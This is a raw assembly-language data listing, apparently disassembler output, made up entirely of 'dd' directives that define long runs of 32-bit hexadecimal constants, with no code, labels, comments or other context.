		dd 905D9D04h, 76A8D5AEh, 97B567BEh, 78A5F736h, 0C39128B1h
		dd 8720094Ah, 31930AB2h, 0AD1FFA97h, 83FEBBF3h,	8A33C9A6h
		dd 0E649E09Ah, 0B319C222h, 7660FFEDh, 0CF8B64C5h, 0B6848A9Eh
		dd 0DC70919Ah, 8C3A39FBh, 0D75FB04Eh, 4222C46Ch, 65B6EC09h
		dd 96E24F30h, 0A79B1B14h, 9BEF4h, 0A8C20F22h, 9B84F050h
		dd 35CF472Ah, 8D92A7ECh, 0C68899Ch, 8A4A98EAh, 31139703h
		dd 4DA79C6Eh, 0E63B39D3h, 0A2E390FAh, 3F498229h, 0D32999A9h
		dd 0CC9BEACCh, 0D6EF0ED8h, 14CE278Bh, 5DAFBB10h, 94AA8D8Fh
		dd 891BF8BCh, 0C03FB8D1h, 0DA094D6Bh, 0A55AE326h, 4BE02F14h
		dd 85BA43CDh, 7C246A4Fh, 8E28138Eh, 2928DF65h, 0CE5CD66Dh
		dd 0A6DA92E5h, 0C17E34F4h, 0F8BAB2BBh, 57862009h, 0B7A4E2D4h
		dd 360A6BFCh, 3C15116Eh, 3A831D6Ah, 4FBF64F6h, 0B03D0EDEh
		dd 2C9A7609h, 71D0A471h, 713205BBh, 0FAB07E31h,	2A6AC259h
		dd 9CC9C399h, 0A702D415h, 73BD6431h, 51A461EEh,	4833350Ah
		dd 64740756h, 68E5F157h, 74CB5121h, 0CEC0050Fh,	0EA70EA67h
		dd 342F6EF4h, 0F6EFAC65h, 95724CC6h, 8F48C354h,	683C83CCh
		dd 32EE0036h, 0C5049700h, 4F02D788h, 0D98D88A0h, 82F51710h
		dd 0F2971845h, 88DCEA49h, 0FB8202ECh, 9BD36F34h, 22E52209h
		dd 7DE8C1FDh, 61E0EB2Dh, 27512EF1h, 0C666AA73h,	91685DD8h
		dd 0D7DA2004h, 473C32EAh, 51A05056h, 4E9BCFEh, 0DF72819Ch
		dd 0CD80AE7Bh, 55F3EB06h, 9CA99754h, 0C4872A5Eh, 4C94531Eh
		dd 6C50C0B0h, 6C4B0AC3h, 3755C719h, 630C011h, 0FC4D30F9h
		dd 9C13DBB7h, 7074A95Bh, 91BA7CFBh, 7D70AB8Ch, 72D424DBh
		dd 4C6A018Ah, 6C2A9D9Eh, 0A03572CFh, 66F475Ch, 69B9067Eh
		dd 59125AC2h, 0C95B9B2Fh, 5D9C96E4h, 3FC114DEh,	0CA06E2A1h
		dd 550AB048h, 48FE05E7h, 3BD415DBh, 0FEBD7Dh, 3FA913ADh
		dd 58E05125h, 0FB3FF77Eh, 0B123E34Eh, 757FB67Ah, 8244095Dh
		dd 0DB298F71h, 7ACF689Ah, 887CC570h, 8FF7C835h,	0E2F83E67h
		dd 0B64428FDh, 7E22D0A9h, 61EB2F55h, 14BEBFC1h,	1917DD80h
		dd 67F401CDh, 80C8922Dh, 89475AA8h, 81C24CACh, 7B47F6DFh
		dd 0EB3C716Ah, 192E35B7h, 0D0FB9531h, 16A79BADh, 329B16DDh
		dd 0EC4EF6F8h, 2B011F17h, 0A5DBB7F0h, 5E2C66C1h, 0BD86328Ah
		dd 2A424FFCh, 23365E8h,	0BEA5DB45h, 3942B862h, 9BF9958h
		dd 1A8569D8h, 0ACA51ACh, 0EE81DE67h, 37338C34h,	3A333254h
		dd 1878EA53h, 37DBCCE4h, 0CBA06FAEh, 0EC3E9814h, 23916E11h
		dd 6D0254Ah, 60D35D6Dh,	274AA930h, 0CED921D7h, 9F8477DAh
		dd 8EC560A9h, 0A262D135h, 2BBB9356h, 17BCAA7Eh,	0AF9F5DC5h
		dd 0C24903C8h, 7DBD410Bh, 5816F4B2h, 3DE5DAF6h,	8F40295Ah
		dd 6C6E62A9h, 49258576h, 14847D29h, 5CC7F4ECh, 0D1F03476h
		dd 0A1336677h, 45076DC2h, 28CF6DEBh, 8127EC37h,	0C6B87BF9h
		dd 26D214Fh, 1AF6EAh, 2FE33DF5h, 3ACA1751h, 0B63E17EDh
		dd 9023F062h, 0DA36F56h, 6C5CF05h, 5BDD6732h, 0B7515B1Dh
		dd 0D1A784FEh, 0A75D7AE8h, 1B36A1D4h, 0F759E64Ch, 0B333B3CEh
		dd 5905A2E7h, 1BE6EFD6h, 111BB424h, 0BBE92541h,	36D9CFD7h
		dd 9BC74AA1h, 9A0BCD27h, 0C64FC664h, 69AE7078h,	588BEFA9h
		dd 93123A97h, 6970EDDBh, 921717D6h, 0BDE4325Ah,	3F44F6D7h
		dd 14C3B87Bh, 9471BC80h, 0F2BCB209h, 0AC9ED426h, 0BFFF8ECEh
		dd 2BE2A18Eh, 884922E3h, 0FD84BB54h, 0EA66F417h, 0C333B53Bh
		dd 6040F3E7h, 59328A9Ch, 0B195A879h, 0C12EDA85h, 6D04A26Ch
		dd 94F2A85Ch, 0EBF14D89h, 33175B6h, 0FAC805A6h,	13D35286h
		dd 0F8B69089h, 824FEE48h, 0EACC62AAh, 0EB94D10Ch, 9E6B4ACAh
		dd 3D00D75Eh, 0F3BF0225h, 0AA2F63ACh, 0CAF2A739h, 0D5FCE476h
		dd 7544D6B2h, 0AEE52DABh, 0D6F8473Bh, 0CC24098h, 33FB00DFh
		dd 0C27F961Ah, 21C44160h, 5BA163E1h, 7CD8C5ACh,	0D2CF4917h
		dd 28875BCCh, 86B794DBh, 0E6DB86A1h, 0BDAE0B4Fh, 0CC435DAFh
		dd 0A0EADF7h, 311029E3h, 0B58DBD80h, 6F3D9AF2h,	0F354F58Eh
		dd 0ABF94AF4h, 9B2068FAh, 0EC4FBA93h, 0BA58FD3Bh, 9F2C835Bh
		dd 0FBF53F53h, 1ED62430h, 82D76396h, 4121AC7Dh,	3EA4E4B2h
		dd 427BA51Ah, 0C13C44CBh, 17ABA862h, 0DAEBAA50h, 0BF75CFABh
		dd 7321F683h, 285919D8h, 0DEDE1971h, 0C5B5ADF6h, 0F584BF68h
		dd 0A8A13345h, 0E2DBCBBh, 3357FC05h, 0ABA3E360h, 79F91E77h
		dd 26931DB3h, 0BC3CAEB2h, 55AA8986h, 43C84BB9h,	5CAE8499h
		dd 0C217A295h, 875D6AEFh, 2D19268Dh, 0D38903A4h, 28FC3282h
		dd 262EF049h, 0D7E6C4ADh, 90D05807h, 0B30E56AAh, 0CE03D00Bh
		dd 0DD443607h, 0DD599C40h, 588BF53Ch, 0FD08FEDAh, 634F4379h
		dd 0CC7432C2h, 0C599AB69h, 0AED16E0Bh, 0F25C58E1h, 0E197653Dh
		dd 1E8AF156h, 0B274B693h, 0EC363F26h, 236F0745h, 0FE6F2C6Eh
		dd 0D8A17231h, 0F87D1681h, 0DE8915D0h, 4851C50Dh, 63309FCAh
		dd 47D4FD9Ah, 0A0C7E850h, 4B0C311Dh, 4BA21660h,	6F7A982h
		dd 7A589418h, 0DA8C1EEFh, 0B7C588A4h, 73EFB9Dh,	0CC9D42F3h
		dd 0C5F81DCFh, 8FD0C5EDh, 0BE349B60h, 16BBBFh, 2646839Dh
		dd 38C64462h, 3B611446h, 8DDE67CCh, 2D64E489h, 3832CA5Ch
		dd 0D7E01D34h, 838224A1h, 307ABBCCh, 490F82AAh,	0D63EE341h
		dd 4204C6FEh, 0F575E4AFh, 0A368794Ah, 4AD261E3h, 3E2D62F9h
		dd 0D9492FFh, 436D6E18h, 8D912846h, 0F66D664Fh,	3691D196h
		dd 3FEDB57Ch, 1D089E7Bh, 1191270Bh, 0C703F287h,	0BCE1AB2Fh
		dd 0E0BF4203h, 1A0C414Fh, 4D66E855h, 5FF5ABEBh,	0A46F835Dh
		dd 66FE9B4Eh, 0B07CD6ADh, 99143643h, 45A233F9h,	1375FFC0h
		dd 0B32707BFh, 27575DD6h, 0DFAC7549h, 0DF1CC9DEh, 6B852495h
		dd 0C4AA3F82h, 352CDCAEh, 0D5079F3h, 16932DFh, 2101D05h
		dd 1FBC4C3Ch, 0CC22D34h
		dd 8D185B7h, 3A7EF766h,	70106193h, 45A148BEh, 0E658A799h
		dd 2A679900h, 0C879B159h, 9649941Dh, 14D5A068h,	7D780757h
		dd 11BFAE4Bh, 0E41E1FDDh, 0EB756FD6h, 9B224AE6h, 125B3548h
		dd 5482AF09h, 0B0ECDAA3h, 0D48E6091h, 796AC7F5h, 0B8864BDFh
		dd 363CCE10h, 829B36E3h, 249D5764h, 510C99D9h, 1E08DDF7h
		dd 807F3D91h, 1CBDE9C8h, 8B6C4855h, 0D054F07Dh,	8382B2FAh
		dd 46CEDE7Ah, 0DAAB9F03h, 7E7F8D95h, 5C71BCC5h,	507CF4AEh
		dd 6FCB39D6h, 270AD6A2h, 20583565h, 9F676AF1h, 2C1E0F21h
		dd 0B1EC38E9h, 1861B391h, 18956E5h, 59CB0216h, 5BF755CBh
		dd 0CD62BEF8h, 0B7AFAB8Ch, 24E4B3AEh, 0E2AFCC9Ch, 7703EA8Eh
		dd 503F806Eh, 7DEFB7EEh, 9CE8CCDAh, 49FC38A2h, 0BB0B3173h
		dd 907DC6E3h, 1AA30CBCh, 33054BC8h, 2DA3B8C7h, 0FC10D82Bh
		dd 19B5AF0Eh, 0CD394DD0h, 0F8BA206Fh, 0DF862826h, 0E1AABBDFh
		dd 31F7ADCEh, 0B69AEAA2h, 0E7C2C267h, 8C8650CAh, 33FAF65Fh
		dd 0FECF4541h, 0E9FF0B85h, 6356AF96h, 0B1F37EF6h, 78659E8h
		dd 6229BDB5h, 0CA488880h, 6A524A0Ah, 4AF52021h,	0ADE9C8DAh
		dd 0D6309441h, 1623F144h, 4D7EC796h, 9B5D636h, 1C280CEEh
		dd 0F1B806E1h, 0DC52F046h, 0C63FD43h, 3E13C371h, 85268D5Dh
		dd 0D5E17B69h, 2919123Eh, 6A07FE64h, 82D0694h, 0D0CE7A9Ah
		dd 4A2BB66Bh, 0ED64FD6h, 6EACDB95h, 0D73CF658h,	0C2DBE4EBh
		dd 9C2A88A4h, 0BC77C4B9h, 19C11211h, 0BB5A33DBh, 9B7E7CA6h
		dd 68C9C1E3h, 8811394Eh, 0EDA711F4h, 0C3B2D14Eh, 532260BFh
		dd 0DF2AFF9Ah, 0A1BDF262h, 0C51E8F4Bh, 1F2E6A32h, 1606F44Eh
		dd 8E637A05h, 9C2AFBE2h, 0A24CD287h, 13A3F16h, 9CD84B20h
		dd 8B5A50C3h, 46645461h, 91D51127h, 0F656347Bh,	37D5D85Ah
		dd 4E97C079h, 8CAB94CDh, 0CF7D3EDBh, 6961865Dh,	8A8AB4E9h
		dd 975FDD9Dh, 6C14219Fh, 0B6AFFEECh, 909174B9h,	2AFB6DD3h
		dd 117C1659h, 9FE37898h, 743610ABh, 7AE2E88Fh, 0CB87DAABh
		dd 63604A12h, 5B938ECDh, 91DD43ECh, 7E7A6586h, 27EA7B1h
		dd 2787EC79h, 0C67BCD78h, 67D7F05Ah, 45D1B654h,	0F3D8B677h
		dd 0C892554Fh, 0A9822A26h, 26F2676Eh, 0B307C50Fh, 2CAD5F20h
		dd 305AF60Bh, 0F65A89ADh, 2D60956Ah, 5AD589CFh,	91F5DDD7h
		dd 0F6D01C8Dh, 66FA6BC0h, 3E019E9Ah, 771592FCh,	48D999FDh
		dd 0C8B7F746h, 0AE72138h, 6307DE51h, 0E2D02539h, 2944D5B0h
		dd 0B8F31806h, 14A66D3h, 9C261CC8h, 0ECCC3726h,	0B0EADD74h
		dd 8423AB29h, 0E2F9610Ch, 0A5D887D1h, 0C0F39490h, 2827F6B4h
		dd 8B902A1Bh, 0AD5DDF04h, 0A405EBA8h, 0F91988CAh, 0F5205AE8h
		dd 473F3718h, 8A8E8C93h, 7B158A1Dh, 7438F8BEh, 0AF140713h
		dd 0C6A78BC9h, 3248824Fh, 658ED113h, 0AD4E1774h, 0BD2421ABh
		dd 1F26DC7Dh, 0F815F469h, 8558E1Fh, 7EB4FD10h, 0A3A97F93h
		dd 93E9D5F6h, 0C35BC206h, 35D01D7Ch, 0CB3A703Bh, 6096DDFFh
		dd 5E2D3B8Fh, 52521F56h, 2FB35A36h, 159C1A5Ch, 0CCD4DBA3h
		dd 7AA6C98Dh, 0AE17587h, 2499B32Ch, 539741E4h, 0F369A3A3h
		dd 0A14ECBE5h, 0A8636731h, 2A28BD26h, 7BEAF0BAh, 0EB5691A1h
		dd 0D9A844D4h, 571A523Ah, 0D9CE9A23h, 3029F84Ah, 0F4E2808Ch
		dd 0B2B3D539h, 74CF491Bh, 0D0F7878Fh, 5AEB3AB3h, 8560CA71h
		dd 0EDE74AA5h, 0D510FF4Dh, 4F5AD578h, 0D86E3CEEh, 0D56E8B15h
		dd 9FF58EFFh, 3332BB2Ah, 3B53662Fh, 453DD0CCh, 2490CD0Fh
		dd 53B6B091h, 69B38A60h, 36FE9900h, 0DEA5C89Ah,	7BB19B6Dh
		dd 8B7C69CDh, 76D5827Bh, 0B3E4FDBBh, 68D74816h,	9E41E3CAh
		dd 493E805Eh, 0F53740DBh, 0FD6F76Bh, 0EB3BD7F8h, 8B5E759h
		dd 96418E43h, 374E52F3h, 0C9D10192h, 411BCBFDh,	1DE766CFh
		dd 19D7FF4Eh, 0F6A7B048h, 9DAADFFFh, 9134670h, 6A8A4535h
		dd 1171A4ADh, 428C9A8Bh, 82914C7Bh, 0C7C5FCEDh,	38FB09E4h
		dd 990E6641h, 17E0128h,	30FD6B27h, 6415D850h, 515BEDD4h
		dd 0B9E360D6h, 0B41364E0h, 39DA4169h, 75588E0Eh, 0A9D1F731h
		dd 0A07D887Ch, 53195989h, 0DBAFAA4Bh, 0D9E22CEFh, 0BEF852B6h
		dd 24B69287h, 20C95E48h, 0FF30EE56h, 8D40A675h,	4D428BBFh
		dd 0CF69FB8Ah, 0EF52F69Eh, 0F61175F0h, 94CD5793h, 48245798h
		dd 0C8696AD1h, 525DD25Fh, 5A677AC9h, 69FBD08Ah,	6F43BA9h
		dd 83DE7C88h, 6BE70DE6h, 60497098h, 2E49E7F1h, 46838858h
		dd 6270D0EEh, 74B4E936h, 0EA2665D6h, 0ED0DDE58h, 0A52402DDh
		dd 5330D80h, 0ED0359CBh, 0F0E0AAAh, 7ABC3AD2h, 27ED8F79h
		dd 0E831F0E9h, 507BE9C2h, 8D6FC950h, 4281A15Eh,	4B5B18AFh
		dd 56FBEB8h, 5BDD2D69h,	772D0BB7h, 29BDFF85h, 823C52C6h
		dd 3856D0FDh, 0FE43F582h, 80A40CB2h, 2293C9E7h,	0B470F665h
		dd 22192E67h, 348A9B88h, 23A96211h, 0FDFB1BAFh,	0E699344Ah
		dd 746AB203h, 8CD8093Ah, 0F4151128h, 357D12CFh,	0F792AE93h
		dd 0B48BF538h, 6305F70Ah, 4DD233CDh, 629928C3h,	8C89C399h
		dd 5DC27F97h, 0ED979D83h, 320A3BDCh, 267AC997h,	50AAFC26h
		dd 7A2F40DEh, 8D7EB76Fh, 1CC2E8A5h, 4D9FE912h, 8F827350h
		dd 0B81290D0h, 0EF2F1B9Ah, 0B4556Dh, 11A3DBE1h,	70878737h
		dd 7427C6A5h, 20545EDh,	233419F9h, 0DADD7D74h, 0AAC2C099h
		dd 111EBBEFh, 0D1CC7DA7h, 977167h, 0F2E5C4A5h, 4CA8D240h
		dd 1D668019h, 0BBC2BC48h, 0B5200A9Eh, 0F77ECBBFh, 7D3EE891h
		dd 0E2140A24h, 72EFBD2Bh, 0BC6A1705h, 0F374FCD2h, 3A5E0EAFh
		dd 4EEC64FFh, 3CDA5E1Bh, 0F5B2BDCFh, 67F5BE2Eh,	0EF4DC461h
		dd 0B5420ED7h, 0E30DBA7Bh, 3E682B16h, 0D37E1EDAh, 4EFCBDDEh
		dd 9F587EE8h, 0B1FEEC6Bh, 50A5A34Dh, 45CC312Eh,	7EB8010h
		dd 7977B942h, 0D07514A9h, 0E3DE7666h, 0A42C3B79h, 10E76C0Dh
		dd 8D55FF4Eh, 9DFABC0Dh, 22E19B28h, 0DDA2DDF9h,	549CC270h
		dd 0C8DFDE9Eh, 0D7EC6F39h, 0F1BC4EC3h, 57DD88BFh, 369F3CA1h
		dd 38185C92h, 456D75FDh, 0A880BCB0h, 0A9A31997h, 0D6971692h
		dd 0B946D715h, 54DEA73h, 0CDF69F74h, 0D1A20447h, 188CA6B0h
		dd 5698C4D2h, 119F5FDAh, 628612BAh, 0FEFB3ADBh,	0F9C05462h
		dd 0F142C2B6h, 76A7A408h, 18DC525Ah, 1CACFEACh,	0AD7271C5h
		dd 0E624F5DDh, 591D926Bh, 8B8916A2h, 4D6F1A7Eh,	8B281BB5h
		dd 0AD60A36Fh, 48B079D6h, 60C358EBh, 1CF5DDC8h,	0CEDA1FF2h
		dd 0B53739FAh, 0C14C16A8h, 0A774C90Eh, 27F00800h, 62845A60h
		dd 925E314Bh, 0BC2DC4DDh, 0FACF106Dh, 0FFC4A3Eh, 91C98C77h
		dd 34024B30h, 0DC367A3Bh, 37E81DD3h, 298D054Bh,	50085EFEh
		dd 58D20F5h, 0B92D0BD9h, 0D2EA371Eh, 8D08FAF5h,	755CC814h
		dd 0E526F1A3h, 0A0E66512h, 0C5B5BF77h, 70771A8h, 84518CCBh
		dd 0D22FD5E5h, 9ED0871Ah, 0FDCCC562h, 5D89BA70h, 0DD0984D8h
		dd 35045142h, 0F94AE2EFh, 0EFB150E3h, 0CD661C6Eh, 9E111F49h
		dd 26B5A719h, 1277ABA5h, 0B15DC450h, 4921F9D8h,	0C96BD6E5h
		dd 7BBBD548h, 73B2C036h, 5039BE13h, 0D2E74446h,	1DD574F7h
		dd 0DDA45557h, 8F2607FDh, 411F337Eh, 0DA8D985Eh, 4D1518Dh
		dd 7EC374BBh, 4D6AE5F8h, 5CCE4FE7h, 5F907E4Eh, 7B38FF63h
		dd 9607D556h, 8D48B5Ch,	5B144C7Dh, 0AA0E13C4h, 913B6959h
		dd 0FDA51A96h, 27659AD8h, 0B977C172h, 0B0E844BDh, 0FBC897Bh
		dd 0AF54F402h, 0EABF7696h, 41B37862h, 58A3C5FCh, 5F429Fh
		dd 0CCBC0585h, 2C92DA4Dh
		dd 79B86631h, 0CF57BF95h, 6C5CDC9Eh, 7C61AE70h,	0BEBD6C49h
		dd 345B12F5h, 3E100D1Ch, 0D057CDCDh, 555E9357h,	139BFC96h
		dd 0CD15A37h, 14A573AEh, 62FB5F33h, 8CCE6129h, 0C21249A5h
		dd 8DC74A29h, 27D1A08Dh, 706F7D36h, 30E197D4h, 0A60C9A7Fh
		dd 285FD733h, 3BC6F006h, 621F460Dh, 46C3AD5Ch, 0E22DFA8Ch
		dd 0C40DA1ABh, 25B0996Dh, 9C18E0C7h, 0E56533E4h, 0E5BEE082h
		dd 0FE54D022h, 4514CA8Fh, 23D28390h, 0D4AA72E9h, 0A3161F96h
		dd 0A495B463h, 5D9B5DCAh, 6A18A4A8h, 0A4E21401h, 7937B3E4h
		dd 8635A22Dh, 40D2EA81h, 61F021F9h, 72B3147h, 6E16CD11h
		dd 0E65BDC1Dh, 2FAAC07h, 1580135Dh, 28F1FE06h, 0FDB030D1h
		dd 0B96F4A0h, 8F0DE0E8h, 0B96BE2E6h, 47DC8DABh,	958028AFh
		dd 5310B1C5h, 360A15CCh, 5670AB6Eh, 0C68E9258h,	0CFA78CBBh
		dd 25EAD35Eh, 0AFBF1F84h, 713DE57Ah, 90BDD944h,	1B8E09DEh
		dd 45900FA3h, 2604C1BAh, 66C3C6E5h, 8959BE46h, 108E10h
		dd 7593589Bh, 400DB534h, 0BD0385EFh, 8A078BEh, 40CC31F7h
		dd 23CB4033h, 12FFD417h, 2E3C8AAFh, 26780144h, 0DF8E7E69h
		dd 0BC6B1B22h, 58BC44D6h, 47613EA7h, 0F43EE3CBh, 2CB79F6Dh
		dd 5FD2144Bh, 0C64CA824h, 0F72BEE05h, 41CE793Ah, 0CACA45DFh
		dd 0B0F2EE1Fh, 0A93B4C71h, 0BB0FF17Fh, 0CA2A4E86h, 0C8F8421Eh
		dd 0F004816Eh, 9099F255h, 94001289h, 43E693B6h,	2EF154B6h
		dd 4D815FEFh, 62825A4Fh, 0C57CF1ADh, 0B8BC9483h, 0DFDDE9B2h
		dd 0B36A9C11h, 9D62B4EEh, 0BF7A32DCh, 868B5646h, 20B9FCE2h
		dd 0DAA47D2Ch, 6E32EB15h, 1B6BAC78h, 2797E690h,	8074765h
		dd 995E90Dh, 576DF276h,	14E862D0h, 11473749h, 388F1F10h
		dd 1C6D23D4h, 66BF0EEEh, 9D2CD9EFh, 0AC899BD0h,	4D9953BBh
		dd 2E3223D8h, 521B1BFBh, 8B589A95h, 93BD2466h, 16D180EAh
		dd 6AF8AFD3h, 9B8795ABh, 7B4DC622h, 2D5AF8B4h, 0FD6EC73Ch
		dd 80B5F5FEh, 0AC77AF60h, 7EEAA93Bh, 0F3440433h, 1508881Ah
		dd 2D990782h, 3E49A3E8h, 0D7CF9927h, 0FE40BFD7h, 0D67BE36Dh
		dd 9752881h, 2E2B4CA0h,	0AF7AB2B1h, 5C54FE44h, 22D5E7B2h
		dd 9A984B8Ah, 484A8791h, 7299D66h, 2293D705h, 48BD08FCh
		dd 0F3643EB8h, 2EEECE3Fh, 0F40F16EEh, 501DBAB5h, 0AF0BCD0Dh
		dd 0AAAD280Eh, 8A782F53h, 125C4533h, 5665690Bh,	0C336F78Bh
		dd 0B0710428h, 9BC30FDEh, 0B0F94A3Fh, 1098B1C2h, 379D2C8Ah
		dd 0A4F85540h, 73CCF240h, 0A15FC960h, 0EBAF4D0Dh, 98E07A25h
		dd 0DD12A67Fh, 1E96F3CAh, 755FF38Fh, 7AACEEA4h,	7EC93544h
		dd 2756665h, 35EEF38Ah,	0AA455912h, 1A5E17DEh, 0E9F042EDh
		dd 0D1E8F787h, 35FAB45Ah, 36384E83h, 90D63ED0h,	0A46EAE6Bh
		dd 3E9E5B62h, 92B7FC7Ah, 7421F7BCh, 0C9D749C1h,	0F69A335Bh
		dd 11977A3Fh, 0F73A3A11h, 433F6C3Fh, 9B24F922h,	41D0A5B5h
		dd 2C42B57Ch, 3AB32AE8h, 88126E7h, 1FC45D8Dh, 78D9227Bh
		dd 0D149A476h, 7321D680h, 0CCE319A2h, 0A9F09587h, 52B74AF0h
		dd 6D0418B1h, 7A85ABB1h, 92B716E7h, 0CC7028A6h,	3CCC03B4h
		dd 47B1BC8Fh, 320731DFh, 7D70DFDCh, 96B6022Ah, 549FD526h
		dd 34291054h, 5AD06100h, 0A9F38620h, 0D3F06433h, 82CAB772h
		dd 221407DFh, 51CAF5E1h, 20F34933h, 4DD42D6Fh, 713379DDh
		dd 0F6C6A66Dh, 0A0069C67h, 23CB78C3h, 8C49CE54h, 0AF3D4E91h
		dd 1265957Dh, 6DB1283h,	4B462B28h, 0DC27C99Ah, 79F9AAE7h
		dd 16220DDEh, 0D39F1B2h, 5A0BDE34h, 0C0D77EC5h,	0C0188357h
		dd 0DE229733h, 0BE404D4Ch, 43CAEA38h, 3047CF6Ah, 32FC7905h
		dd 3AA423Fh, 0C281412h,	3BF93235h, 0A4862BD0h, 6827F4C3h
		dd 0AB10B964h, 14CCF2EDh, 1D0F019h, 0D5320118h,	800889B3h
		dd 24951E25h, 4E71BB87h, 8C16696Ah, 3EBA3C23h, 793FF5F1h
		dd 89AD7BC4h, 3E0B6F56h, 6AD71Eh, 28A84C8Dh, 5A0D4E11h
		dd 0BED1E0F2h, 0FA344006h, 0EEFFC811h, 6AEA4787h, 9FABC4E0h
		dd 1133B67Dh, 0B6E04B31h, 634C5190h, 0C9AB74C9h, 0E842344Bh
		dd 8799EEDFh, 2FF5F076h, 0EAC334A7h, 0BDB60079h, 8AF6ACD5h
		dd 0C04DAC68h, 0A015C155h, 8750650Bh, 7D6A22C3h, 0EBDC0070h
		dd 0C732DB42h, 0FC2C35E2h, 59B08A20h, 0E7CB0896h, 976DAE87h
		dd 68F2FBAEh, 0AD1CA907h, 6F8859A4h, 13DDD697h,	285F06EAh
		dd 850BF62Bh, 32E03D28h, 55C855E6h, 5422972Ch, 40DC1ECDh
		dd 5EA4047h, 9E2EFF6Ch,	6E612844h, 4E7739F6h, 36F2DB48h
		dd 81644801h, 848CE094h, 93CC1230h, 69F24B8h, 0CA74FB3Dh
		dd 60F46AB4h, 91DA8FFFh, 4782D3B6h, 54DF50C8h, 0FD702ADDh
		dd 0D655BFADh, 78DF7E11h, 0EB65C61Ah, 1866972Eh, 0D77435DFh
		dd 2CB103F5h, 36D081DBh, 722CF9C3h, 0BF3F9B07h,	4A7E5377h
		dd 0F22744E2h, 0BEF1F2ECh, 0AA51FE9Eh, 26D15652h, 705F2D35h
		dd 24201E95h, 0C658E437h, 82FBC007h, 0C324D24Bh, 0F8F464Bh
		dd 9F18A96Eh, 4CC4569Dh, 91A71C35h, 83BF7D8Ch, 27DF2AC5h
		dd 5AEC4F7Eh, 672A1AC4h, 19FE46AEh, 99DB3364h, 0E96BA6h
		dd 0CCD12F02h, 0E7F79DB5h, 0BC6CA7F6h, 83C9DE4h, 0BFB8ADB7h
		dd 0AD7EDE9Dh, 0B6243EBAh, 23E0E24h, 9D60762h, 651CE54Dh
		dd 0D7B2A3AAh, 3534E616h, 0A4AD5838h, 8F636AC0h, 3AD110FDh
		dd 39B387B1h, 215B925Fh, 4D048728h, 0D34F4EB9h,	3E37FE74h
		dd 2574A97Dh, 7E8F834Bh, 7A10140Bh, 8FA82CFDh, 0E5E2EF79h
		dd 5D969B18h, 6A3319D2h, 2E176C23h, 0E6843580h,	4685BBC8h
		dd 0F7E5CD1Ch, 0E619F926h, 614ACE60h, 8848DB7h,	0D3CD08D4h
		dd 0D200B71Ah, 3379B219h, 0AC6D37E4h, 82C2DC0Eh, 3F2B5216h
		dd 83A136F9h, 2B80D7DEh, 0F3870FEDh, 0DA13DE9Eh, 7697D7C6h
		dd 7630AE86h, 62572300h, 0F78A0D35h, 0DFB883DCh, 0D0568186h
		dd 0AEA68594h, 5F76EA8Bh, 16BE4243h, 0B3161D14h, 47F63D14h
		dd 0FE063BF3h, 0BF2BF038h, 62B0DF0Dh, 4CC493CEh, 884EC887h
		dd 0B6C7E9CCh, 8C49F73Bh, 3862A0BBh, 0D1C3B375h, 879DC06Ch
		dd 45C74DDFh, 1463BCA0h, 7B8B2DBAh, 16572C37h, 0D8D761F1h
		dd 70371E0Ch, 30B6D68Fh, 0D4C0FEA7h, 0A3F5D8CAh, 35E314ECh
		dd 5F880F5Ah, 0F6B3571Ch, 5DDF8CE5h, 15FDF92h, 0FAC9039Ch
		dd 83A9AB8Ah, 6845723Eh, 1538E894h, 0CC6F53BCh,	0DDB20D4Dh
		dd 0DAE8AA79h, 0B5D127EDh, 0F884E18Ah, 8743682Dh, 40A7476Eh
		dd 55DA7304h, 1CEB3C9Fh, 0F713FD47h, 56A9EB15h,	55D0C570h
		dd 7513A58Bh, 0CD4908CAh, 3B084328h, 11F63C26h,	0C6D26E24h
		dd 0B5307607h, 0D0A5CEEEh, 1684585Bh, 195651D1h, 0F82D433Fh
		dd 0E50928DFh, 9F338117h, 27D94BC2h, 0B2DACF4Ah, 53884888h
		dd 429D9C80h, 9F9F69B4h, 37FC7DDDh, 0B9D857BAh,	2881CE79h
		dd 8958D3B4h, 0CDAD4CECh, 0BC6E6710h, 0ED3B9765h, 279C2DD6h
		dd 6A5ED96Eh, 242E13D2h, 805710E0h, 6DF45A4Bh, 9B7850A8h
		dd 0D16621DDh, 1566E5D5h, 0C276C9F0h, 0F08BAAFBh, 0D6D7FC77h
		dd 0DF619B44h, 0F2B5E16h, 175BCFC0h, 79790A15h,	927481C6h
		dd 56EB22FFh, 0F18027D6h, 56376614h, 0E3B69BDDh, 96A309AEh
		dd 6AF1CD72h, 80360631h, 6C72144Ah, 30C21035h, 33FBE44Fh
		dd 34054972h, 2C811689h, 89995A13h, 6821732Eh, 0A4410AD3h
		dd 0B5953098h, 39867BD4h, 6B36B141h, 7F46D8Eh, 5961B3EEh
		dd 4DB243BCh, 0A09AB790h, 0E99ED750h, 91CC4BC4h, 0D11E7B47h
		dd 8CCABFA0h, 6CC919E1h
		dd 0E9F1CE67h, 801530Eh, 7D695A03h, 81F4D4E8h, 36C87109h
		dd 8C5CAE6Bh, 62AB7C2Bh, 809F6481h, 14AD4870h, 0DC690637h
		dd 0E6017D96h, 78F79E65h, 76312EF6h, 0FF7DC271h, 7128929Fh
		dd 5CD734B1h, 0E678BE61h, 767F2351h, 4D67CB10h,	9360F6B7h
		dd 513299DAh, 5BD9CE6Dh, 0B52523EAh, 0CBC16D61h, 0F632E467h
		dd 0E077F56Fh, 0CCAC519Bh, 95AD39F0h, 40C1C89Ch, 7CCD2545h
		dd 804A33E0h, 9619C280h, 0F3203DE5h, 4510CE30h,	0D18ACB0Ch
		dd 0A9EADB04h, 0B867A354h, 207649E4h, 0F6A5AEF4h, 0F273D105h
		dd 4E54B7FAh, 0E53AB8F4h, 0FDB7CF10h, 5B565057h, 0E08254CAh
		dd 0AD6EE79Eh, 9EE79B2Ch, 0EC0C07DDh, 0B7EA76B4h, 58ACAD71h
		dd 0CC43C905h, 0C73BC463h, 8C4FFE50h, 45D88A1Fh, 87AF1AC3h
		dd 2B83772Eh, 3506EEDFh, 2AC240D9h, 496B3AB9h, 0F5A7A1F0h
		dd 628538F7h, 5D559AFh,	8CEE57EFh, 7466112Fh, 0B44E5D08h
		dd 7600F93Ch, 0B1E27CFDh, 9ABC9980h, 6310EC1h, 385FA70Eh
		dd 28632BC3h, 7EA5394h,	4DEC9DCFh, 0DB7707A0h, 3CFE579Ah
		dd 0D24623F0h, 97CF61h,	0C2BDB5EAh, 0FF707D61h,	12DD12F1h
		dd 0C0CB6CFDh, 3BDC252Ch, 0F5073EB2h, 0EED31FA1h, 0C378C90Eh
		dd 49FEC744h, 0AA6D6A07h, 0FFCB7BD5h, 420B0AE2h, 0DC88AA5Ch
